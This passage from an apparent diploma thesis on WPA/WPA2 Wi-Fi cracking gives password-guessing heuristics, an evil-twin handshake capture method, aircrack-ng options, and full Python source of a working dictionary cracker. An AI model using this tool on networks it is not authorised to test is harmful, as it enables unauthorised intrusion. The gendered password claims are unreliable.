10% 22% 20%
0%

Figure 38. Percentage of unique words in each collection

Number of lines removed during cleaning


50000000
45000000 Cleaned
Number of lnes

40000000
35000000 Lines
30000000 Removed
25000000 HTML
20000000 Removed
15000000
10000000 Email
5000000
0

Name of collection

Figure 39. Number of lines removed during clean-up

64
100.00%
90.00% 99.70% 99.40%
80.00% 93.60%
70.00% 84.40%
60.00% 76.60%
50.00% 63.40% 61.20%55.90%
40.00% 56.20% 52.20%
30.00% 45.90% 46.80%
20.00%
10.00% 7.20%
0.00%

Figure 40. Percentage of words between 8-63 characters (WPA) after clean-up

Regarding the above results, the following remarks must be made:


• Table 3 (the one which summarizes the results) shows that 54% of the 13
collections are unique. Therefore, 46% of it would be wasted due to
duplication if it was tested – that is a large amount of extra un-needed
attempts!
• In the second graph only one collection was 100% “unique”, which means
most of the collections sizes have been reduced.
• In the fourth graph (the one which shows how effective it would be towards
cracking WPA) the four wordlists which were “meant” for WPA are pretty
high.
As mentioned in the beginning of the chapter, having gigabytes worth of wordlists
may be good; but having a personalised/specific/targeted wordlist is great.
All this being said, below are the most “professional password guessers” known:
• There is a 50 percent chance that a user’s password will contain one or
more vowels.
• If it contains a number, it will usually be a 1 or 2, and it will be at the
end.
• If it contains a capital letter, it will be at the beginning, followed by a
vowel.

65
• The average person has a working vocabulary of 50,000 to 150,000 words,
and they are likely to be used in the password.
• Women are famous for using personal names in their passwords, while
men opt for their hobbies.
• Even if a symbol is used, an attacker knows which are the most likely to
appear: ~, !, @, #, $, %, & and ?.

3.5. Python program usage

An example of command line call of the tool is presented below:


$ python halfHandshake.py -r sampleHalfHandshake.cap -m 48d224f0d128 -s
“no place like 127.0.0.1”
The next image presents the output of the above command. The tool runs with
success and the passphrase of the target network can be observed in the final message
(Passphrase found! interwebs).

Figure 41. Successful run of the tool

Of course, there are some tests performed during execution. One of them refers to
the link layer type (for captured packets), the allowed ones being “Ethernet” and “IEEE
802.11”. For other types, an error message like below is displayed.

Figure 42. Failure due to unsupported link layer

66
3.5.1. pcapParser.py
This module is responsible for reading and parsing the pcap file received as input.
It contains the core classes pcap_packet and pcap_savefile, as well as the core function
load_savefile.
The “magic” is done by load_savefile function which parses a savefile as a
pcap_savefile instance. It returns the savefile on success. Verbose mode allows additional
information about the file processing to be printed. “layers” parameter defines how many
layers to descend and decode the packet. “input_file” should nominate a Python file object.

def load_savefile(input_file, layers=0, verbose=False):


global VERBOSE
old_verbose = VERBOSE
VERBOSE = verbose

__TRACE__('[+] attempting to load %s', (input_file.name,))

header = _load_savefile_header(input_file)
if __validate_header__(header):
__TRACE__('[+] found valid header')
packets = _load_packets(input_file, header, layers)
__TRACE__('[+] loaded %d packets', (len(packets),))
sfile = pcap_savefile(header, packets)
__TRACE__('[+] finished loading savefile.')
else:
__TRACE__('[!] invalid savefile')
sfile = None
VERBOSE = old_verbose
return sfile, header

3.5.2. cracker.py
This module contains two main functions: crackProcess and crack.
In the first function, pairwise key expansion is calculated using the following
formula:
pke = min(AP_MAC, Client_MAC) + max(AP_MAC, Client_MAC) +
min(Anonce, Snonce) + max(Anonce, Snonce)
The second function is responsible for testing the words from dictionary.

def crack(ssid, clientMac, APMac, Anonce, Snonce, mic, data,


passQueue):
foundPassQ = Queue()
try:
timeA = datetime.now()
startSize = passQueue.qsize()
except:
pass
pool = Pool(numOfPs, crackProcess, (ssid, clientMac, APMac,
Anonce, Snonce, mic, data, passQueue, foundPassQ))
while True:
sleep(1)

67
try:
timeB = datetime.now()
currentSize = passQueue.qsize()
print str(100 - 100.0 * currentSize / startSize) + "%
done. " + str((startSize - currentSize) / (timeB -
timeA).total_seconds()) + " hashes per second"
except:
pass
if foundPassQ.empty():
if passQueue.empty():
returnVal = False
break
else:
passphrase = foundPassQ.get()
returnVal = passphrase
break
pool.terminate()
return returnVal

3.5.3. halfHandshake.py
This script is the main caller. Here is incorporated all the tool logic. The steps are
the ones described in Figure 14. Full code can be found in Annex 4.
The starting point for the idea behind this Python tool was watching some tutorials
about Wi-Fi password cracking. Thus, an interesting principle came to my mind: what if
there is no need to capture packets from both the client and the access point?

Figure 43. “Evil twin” attack

68
Sometimes it may not be possible to reach to the access point because it is outside
the range. So, the following approach has been drawn: having set a target network, the
attacker will create a “twin” of the access point (the same SSID). Afterwards, the client
will be deauthenticated. Of course, it will try to reauthenticate, but the request will be sent
to the “fake” access point. Although the authentication will fail, the captured packets from
the client will be all it needs to get the four-way handshake.
This concept is very similar with the one of the “Evil twin” attack presented in the
above picture.

69
4. Obtained results
Beginning from the methodology of the aircrack suite applications, a customized
version was successfully implemented.
The program which was implemented is a POC (proof of concept) to show that
cracking wireless networks is a handy process; the situation is possible because very few
people pay attention to the wireless networks security when configuring them.
Also, other two important aspects were detailed and clarified:
• The differences between a successful capture file and an unsuccessful one:
which are the details to look for and how to increase chances of getting the
right packets (the ones needed to obtain the four-way handshake)
• The importance of having a personalised/specific/targeted dictionary of
words (wordlist) and which are the steps to obtain this.

70
5. Conclusions
In this diploma work were presented some methods used to gain access to the
wireless networks with security protocol WPA/WPA2. The final part was the
implementation of a program which can crack this type of Wi-Fi networks using the
approach of the well-known tool aircrack-ng.
The first condition in order to start the process of cracking WPA/WPA2-PSK is to
obtain a .cap file (containing captured packets got while monitoring the targeted network).
There are some good tools which are specialised in this operation. But it is highly
recommended to know how this type of file can be interpreted. In order to clarify this
aspect some practical examples were exposed.
Also, some methods used by “professional password guessers” to increase their
chances of success were presented: basically, having gigabytes worth of wordlists may be
good; but having a personalised/specific/targeted wordlist is great.
If someone can access your wireless network that easily, this is not a good thing.
After cracking an access point, possibilities are limitless. There's SSL stripping, packet
sniffing, MITM (Man-In-The-Middle) attacks, ARP (Address Resolution Protocol)
poisoning – not to mention being completely anonymous by using someone else's Wi-Fi.
As long as the WPA/WPA2 passphrase used to protect the access point is strong,
complex, dictionary attacks on WPA handshakes are not really a concern. However, every
once in a while a user will configure a dictionary word as the WPA password for the sake
of simplicity. This leads to successful recovery of passwords from the WPA 4-way
handshakes using dictionary attacks.
Some advices which may help to avoid unpleasant situations:
• Configure complex passphrases that are a combination of special characters,
numbers, and letters.
• Never use personal information such as your phone number as the WPA
passphrase, as it might be guessed.

71
6. References
1. Alamanni M. - Kali Linux Wireless Penetration Testing Essentials, Packt Publishing
Ltd., ISBN 978-1-78528-085-6, Birmingham, 2015.

2. Benton K. - The Evolution of 802.11 Wireless Security, UNLV Informatics-Spring, April


2010.

3. Harwood M. - CompTIA Network+ N10-004 Exam Cram, Third Edition, Pearson IT


Certification, ISBN 978-0-78973-796-0, Indianapolis, 2009.

4. Munegowda K. - Design and Implementation of WLAN Authentication and Security,


LAP LAMBERT Academic Publishing, ISBN 978-3-8383-7226-6, Germany, 2010.

5. Rackley S. - Wireless Networking Technology, Elsevier, ISBN 978-0-75066-788-3,


Oxford, 2007.

6. Ross J. - The Book of Wireless, 2nd Edition, William Pollock, ISBN 978-1-59327-169-5,
San Francisco, 2008.

7. Wrightson T. - Wireless Network Security A Beginner's Guide, The McGraw-Hill


Companies, ISBN 978-0-07176-094-2, New York, 2012.

8. Beck M., Tews E. - Practical attacks against WEP and WPA, WiSec '09, New York,
March 2009, ISBN 978-1-60558-460-7.

9. Bittau A., Handley M., Lackey J. - The Final Nail in WEP's Coffin, IEEE Symposium
on Security and Privacy (S&P'06), Berkeley/Oakland CA, June 2006, ISSN 2375-1207.

10. Chandra P., Bensky D., Bradley T., Hurley C., Rackley S.A. - Wireless Security: Know
It All, Elsevier Inc., ISBN 978-1-85617-529-6, Oxford, 2009.

11. aircrack-ng [Aircrack-ng], Available from: http://www.aircrack-


ng.org/doku.php?id=aircrack-ng, Accessed: 28/04/2017.

12. CaptureSetup/WLAN - The Wireshark Wiki, Available from:


https://wiki.wireshark.org/CaptureSetup/WLAN#Promiscuous_mode, Accessed:
07/05/2017.

13. Kismet Wireless, Available from: https://www.kismetwireless.net/, Accessed:


20/04/2017.

14. Password Cracking Using Cain & Abel, Available from:


http://resources.infosecinstitute.com/password-cracking-using-cain-abel/#gref, Accessed:
23/03/2017.

15. Powerful Penetration Testing Tools For Every Penetration Tester, Available from:
http://www.softwaretestinghelp.com/penetration-testing-tools/, Accessed: 29/04/2017.

72
16. Reaver | Penetration Testing Tools, Available from: http://tools.kali.org/wireless-
attacks/reaver, Accessed: 18/05/2017.

17. The OSI Model's Seven Layers Defined and Functions Explained, Available from:
https://support.microsoft.com/en-us/help/103884/the-osi-model-s-seven-layers-defined-
and-functions-explained, Accessed: 25/05/2017.

18. Tutorial: WPA Packet Capture Explained, Available from: http://www.aircrack-


ng.org/doku.php?id=wpa_capture, Accessed: 22/03/2017.

73
7. Annex 1. Aircrack-ng running options [11]
Option Parameter Description

-a amode Force attack mode (1 = static WEP, 2 = WPA/WPA2-PSK)

-b bssid Long version --bssid. Select the target network based on


the access point’s MAC address

-e essid If set, all IVs from networks with the same ESSID will be
used. This option is also required for WPA/WPA2-PSK
cracking if the ESSID is not broadcasted (hidden)

-p nbcpu On SMP systems: # of CPU to use. This option is invalid


on non-SMP systems

-q none Enable quite mode (no status output until the key is found
or not)

-c none (WEP cracking) Restrict the search space to alpha-numeric


characters only (0x20 – 0x7F)

-t none (WEP cracking) Restrict the search space to binary coded


decimal hex characters

-h none (WEP cracking) Restrict the search space to numeric


characters (0x30 – 0x39)

-d start (WEP cracking) Long version --debug. Set the beginning


of the WEP key (in hex), for debugging purposes.

-m maddr (WEP cracking) MAC address to filter WEP data packets.


Alternatively, specify –m ff:ff:ff:ff:ff:ff to use all and every
IVs, regardless of the network

-M number (WEP cracking) Sets the maximum number of IVs to use

-n nbits (WEP cracking) Specify the length of the key: 64 for 40-bit
WEP, 128 for 104-bit WEP, etc. The default value is 128

-i index (WEP cracking) Only keep the IVs that have this key index
(1 to 4). The default behaviour is to ignore the key index

-f fudge (WEP cracking) By default, this parameter is set to 2 for


104-bit WEP and to 5 for 40-bit WEP. Specify a higher
value to increase the brute force level: cracking will take
more time, but with a higher likelihood of success

74
-H none Long version --help. Output help information

-l file name Logs the key to the file specified. Overwrites the file if it
already exists

-K none Invokes the Korek WEP cracking method (Default in v0.x)

-k korek (WEP cracking) There are 17 Korek statistical attacks.


Sometimes one attack creates a huge false positive that
prevents the key from being found, even with lots of IVs.
Can be tried –k 1, -k 2, ..., -k 17 to disable each attack
selectively

-p threads Allow the number of threads for cracking even if the


computer is non-SMP

-r database Utilizes a database generated by airolib-ng as input to


determine the WPA key. Outputs an error message if
aircrack-ng has not been compiled with SQLite support

-x/-x0 none (WEP cracking) Disable last key bytes brute force

-x1 none (WEP cracking) Enable last key bytes brute forcing
(Default)

-x2 none (WEP cracking) Enable last two key bytes brute forcing

-X none (WEP cracking) Disable brute force multithreading (SMP


only)

-y none (WEP cracking) Experimental single brute force attack


which should only be used when the standard attack mode
fails with more than one million IVs

-u none Long form --cpu-detect. Provide information on the


number of CPUs and MMX support. Example responses to
“aircrack-ng --cpu-detect” are “Nb CPU detected: 2” or
“Nb CPU detected: 1 (MMX available)

-w words (WPA cracking) Path to a wordlist or “-” without the


quotes for standard in (stdin)

-z none Invokes the PTW WEP cracking method (Default in v1.x)

-P none Long version --ptw-debug. Invokes the PTW debug mode

-C MACs Long version --combine. Merge the given APs to a virtual


one

75
-D none Long version --wep-decloak. Run in WEP decloak mode

-V none Long version --visual-inspection. Run in visual inspection


mode

-1 none Long version --oneshot. Run in oneshot mode

-S none WPA cracking speed test

-s none Show the key in ASCII while cracking

-E file> (WPA cracking) Create EWSA Project file v3

-J file (WPA cracking) Create Hashcat Capture file

76
8. Annex 2. Source code – pcapParser.py
# pypcapfile.savefile.py
"""
Core functionality for reading and parsing libpcap savefiles. This
contains
the core classes pcap_packet and pcap_savefile, as well as the core
function
load_savefile.
"""

import binascii
import ctypes
import struct
import sys

import pcapfile.linklayer as linklayer

from pcapfile.structs import __pcap_header__, pcap_packet

VERBOSE = False

def __TRACE__(msg, args=None):


if VERBOSE:
if args:
print msg % args
else:
print msg

class pcap_savefile(object):
"""
Represents a libpcap savefile. The packets member is a list of
pcap_packet
instances. The 'valid' member will be None for an uninitialised
instance,
False if the initial validation fails, or True if the instance has
been
successfully set up and the file has been parsed.
"""
def __init__(self, header, packets=None):
if not packets:
packets = []
self.header = header
self.packets = packets
self.valid = None
self.byteorder = sys.byteorder

if not self.__validate__():
self.valid = False
else:
self.valid = True

assert self.valid, 'Invalid savefile.'

def __validate__(self):
assert __validate_header__(self.header), "Invalid header."
if not __validate_header__(self.header):

77
return False

# TODO: extended validation


valid_packet = lambda pkt: (pkt is not None or
pkt.issubclass(ctypes.Structure))
if not 0 == len(self.packets):
valid_packet = [valid_packet(pkt) for pkt in self.packets]
assert False not in valid_packet, 'Invalid packets in
savefile.'
if False in valid_packet:
return False

return True

def __repr__(self):
string = '%s-endian capture file version %d.%d\n'
string += 'snapshot length: %d\n'
string += 'linklayer type: %s\nnumber of packets: %d\n'
string = string % (self.header.byteorder, self.header.major,
self.header.minor, self.header.snaplen,
linklayer.lookup(self.header.ll_type),
len(self.packets))
return string

def _load_savefile_header(file_h):
"""
Load and validate the header of a pcap file.
"""
raw_savefile_header = file_h.read(24)
# in case the capture file is not the same endianness as ours, we
have to
# use the correct byte order for the file header
if raw_savefile_header[:4] == '\xa1\xb2\xc3\xd4':
byte_order = 'big'
unpacked = struct.unpack('>IhhIIII', raw_savefile_header)
elif raw_savefile_header[:4] == '\xd4\xc3\xb2\xa1':
byte_order = 'little'
unpacked = struct.unpack('<IhhIIII', raw_savefile_header)
else:
raise Exception('Invalid pcap file.')

(magic, major, minor, tz_off, ts_acc, snaplen, ll_type) = unpacked


header = __pcap_header__(magic, major, minor, tz_off, ts_acc,
snaplen,
ll_type, ctypes.c_char_p(byte_order))
if not __validate_header__(header):
raise Exception('invalid savefile header!')
else:
return header

def load_savefile(input_file, layers=0, verbose=False):


"""
Parse a savefile as a pcap_savefile instance. Returns the savefile
on success and None on failure. Verbose mode prints additional
information
about the file's processing. layers defines how many layers to
descend and
decode the packet. input_file should be a Python file object.
"""

78
global VERBOSE
old_verbose = VERBOSE
VERBOSE = verbose

__TRACE__('[+] attempting to load %s', (input_file.name,))

header = _load_savefile_header(input_file)
if __validate_header__(header):
__TRACE__('[+] found valid header')
packets = _load_packets(input_file, header, layers)
__TRACE__('[+] loaded %d packets', (len(packets),))
sfile = pcap_savefile(header, packets)
__TRACE__('[+] finished loading savefile.')
else:
__TRACE__('[!] invalid savefile')
sfile = None
VERBOSE = old_verbose
return sfile, header

def __validate_header__(header):
if not type(header) == __pcap_header__:
return False

if not header.magic == 0xa1b2c3d4:


if not header.magic == 0xd4c3b2a1:
return False

assert header.byteorder in ['little', 'big'], 'Invalid byte order.'

# as of savefile format 2.4, 'a 4-byte time zone offset; this


# is always 0'; the same is true of the timestamp accuracy.
if not header.tz_off == 0:
return False

if not header.ts_acc == 0:
return False

return True

def _load_packets(file_h, header, layers=0):


"""
Read packets from the capture file. Expects the file handle to point
to
the location immediately after the header (24 bytes).
"""
pkts = []

hdrp = ctypes.pointer(header)
while True:
pkt = _read_a_packet(file_h, hdrp, layers)
if pkt:
pkts.append(pkt)
else:
break

return pkts

def _read_a_packet(file_h, hdrp, layers=0):

79
"""
Reads the next individual packet from the capture file. Expects
the file handle to be somewhere after the header, on the next
per-packet header.
"""
raw_packet_header = file_h.read(16)
if raw_packet_header == '':
return None
assert len(raw_packet_header) == 16, 'Unexpected end of per-packet
header.'

# in case the capture file is not the same endianness as ours, we


have to
# use the correct byte order for the packet header
if hdrp[0].byteorder == 'big':
packet_header = struct.unpack('>IIII', raw_packet_header)
else:
packet_header = struct.unpack('<IIII', raw_packet_header)
(timestamp, timestamp_ms, capture_len, packet_len) = packet_header
raw_packet_data = file_h.read(capture_len)

assert len(raw_packet_data) == capture_len, 'Unexpected end of


packet.'

if layers > 0:
layers -= 1
raw_packet = linklayer.clookup(hdrp[0].ll_type)(raw_packet_data,
layers=layers)
else:
raw_packet = binascii.hexlify(raw_packet_data)

packet = pcap_packet(hdrp, timestamp, timestamp_ms, capture_len,


packet_len, raw_packet)
return (raw_packet_header, packet)

80
9. Annex 3. Source code – cracker.py
import hmac, hashlib, binascii
from hashlib import sha1
from binascii import a2b_hex, b2a_hex, unhexlify
from pbkdf2_ctypes import pbkdf2_bin
from multiprocessing import Pool, Queue, cpu_count
from datetime import datetime
from time import sleep

numOfPs = cpu_count()

def hmac4times(ptk, pke):


tempPke = pke
r = ''
for i in range(4):
r += hmac.new(ptk, pke + chr(i), sha1).digest()
return r

def crackProcess(ssid, clientMac, APMac, Anonce, Snonce, mic, data,


passQueue, foundPassQ):
pke = "Pairwise key expansion" + '\x00' + min(APMac, clientMac) +
max(APMac, clientMac) + min(Anonce, Snonce) + max(Anonce, Snonce)
count = 0
timeA = datetime.now()
while True:
passPhrase = passQueue.get()
pmk = pbkdf2_bin(passPhrase, ssid, 4096, 32)
ptk = hmac4times(pmk, pke)
if ord(data[6]) & 0b00000010 == 2:
calculatedMic = hmac.new(ptk[0:16], data,
sha1).digest()[0:16]
else:
calculatedMic = hmac.new(ptk[0:16], data).digest()
if mic == calculatedMic:
foundPassQ.put(passPhrase)

def crack(ssid, clientMac, APMac, Anonce, Snonce, mic, data, passQueue):


foundPassQ = Queue()
try:
timeA = datetime.now()
startSize = passQueue.qsize()
except:
pass
pool = Pool(numOfPs, crackProcess, (ssid, clientMac, APMac, Anonce,
Snonce, mic, data, passQueue, foundPassQ))
while True:
sleep(1)
try:
timeB = datetime.now()
currentSize = passQueue.qsize()
print str(100 - 100.0 * currentSize / startSize) + "% done. "
+ str((startSize - currentSize) / (timeB - timeA).total_seconds()) + "
hashes per second"
except:
pass
if foundPassQ.empty():
if passQueue.empty():

81
returnVal = False
break
else:
passphrase = foundPassQ.get()
returnVal = passphrase
break
pool.terminate()
return returnVal

82
10. Annex 4. Source code – halfHandshake.py
from pcapParser import load_savefile
from cracker import crack
from multiprocessing import Queue

def crackClients(clients, usersMac, SSID, passphraseQ):


clientHandshakes = []
for client in clients:
handshake = []
for message in clients[client]:
if message['message'] == 1:
handshake = [message]
elif len(handshake) == 1:
handshake.append(message)
clientHandshakes.append(handshake)
break
else:
handshake = []
for clientHandshake in clientHandshakes:
if clientHandshake[0]['AP'] == usersMac:
cracked = crack(SSID, clientHandshake[0]['client'],
clientHandshake[0]['AP'], clientHandshake[0]['Anonce'],
clientHandshake[1]['Snonce'], clientHandshake[1]['mic'],
clientHandshake[1]['data'], passphraseQ)
if cracked != False:
return cracked
return False

if __name__ == "__main__":
from sys import argv, exit
import getopt
try:
opts, args = getopt.getopt(argv[1:], "r:m:s:d:")
except getopt.GetoptError:
print "bad args"
exit(2)
for opt, arg in opts:
if opt == '-r':
readFile = arg
if opt == '-m':
usersMac = arg.replace(":", "").decode('hex')
if opt == '-s':
SSID = arg
if opt == '-d':
try:
f = open(arg, 'r')
passphraseQ = Queue()
for passphrase in f.read().split('\n'):
passphraseQ.put(passphrase)
f.close()
except IOError:
print "Error reading dictionary"
exit(2)
print "Loading dictionary..."
try:
passphraseQ
except:

83
f = open('dictionary.txt', 'r')
passphraseQ = Queue()
for passphrase in f.read().split('\n'):
passphraseQ.put(passphrase)
f.close()
print "Done"

try:
usersMac
SSID
readFile
except NameError:
print "Missing args, requires: -m (AP mac address) -s (SSID) -r
(PCAP filename)"
exit(2)
try:
caps, header = load_savefile(open(readFile))
except IOError:
print "Error reading file"
exit(2)

if header.ll_type != 1 and header.ll_type != 105:


print "Unsupported link layer type, only supports Ethernet and
802.11"
exit(2)
clients = {}
if header.ll_type == 105:
for packet in caps.packets:
auth = packet[1].raw()[32:34]
if auth == '\x88\x8e':
AP = packet[1].raw()[16:22]
dest = packet[1].raw()[4:10]
source = packet[1].raw()[10:16]
part = packet[1].raw()[39:41]
relivent = True
if part == '\x00\x8a':
message = 1
client = dest
Anonce = packet[1].raw()[51:83]
info = {'AP': AP, 'client': client, 'Anonce': Anonce,
'message': message}
elif part == '\x01\x0a':
Snonce = packet[1].raw()[51:83]
client = source
mic = packet[1].raw()[115:131]
data = packet[1].raw()[34:115] + "\x00"*16 +
packet[1].raw()[131:]
message = 2
info = {'AP': AP, 'data': data, 'client': client,
'Snonce': Snonce, 'mic': mic, 'message': message}
else:
relivent = False
if relivent:
if info['client'] in clients:
clients[info['client']].append(info)
else:
clients[info['client']] = [info]
else:
for packet in caps.packets:
print packet[1].raw()
auth = packet[1].raw()[12:14]

84
if auth == '\x88\x8e':
relivent = True
part = packet[1].raw()[19:21]
if part == '\x00\x8a':
message = 1
client = packet[1].raw()[0:6]
AP = packet[1].raw()[6:12]
Anonce = packet[1].raw()[31:63]
info = {'AP': AP, 'client': client, 'Anonce': Anonce,
'message': message}
elif part == '\x01\x0a':
Snonce = packet[1].raw()[31:63]
AP = packet[1].raw()[0:6]
client = packet[1].raw()[6:12]
mic = packet[1].raw()[95:111]
data = packet[1].raw()[14:95] + "\x00"*16 +
packet[1].raw()[111:]
message = 2
info = {'AP': AP, 'data': data, 'client': client,
'Snonce': Snonce, 'mic': mic, 'message': message}
else:
relivent = False
if relivent:
if info['client'] in clients:
clients[info['client']].append(info)
else:
clients[info['client']] = [info]
cracked = crackClients(clients, usersMac, SSID, passphraseQ)
if cracked == False:
print "Unable to find passphrase"
else:
print "Passphrase found: " + cracked

85

You might also like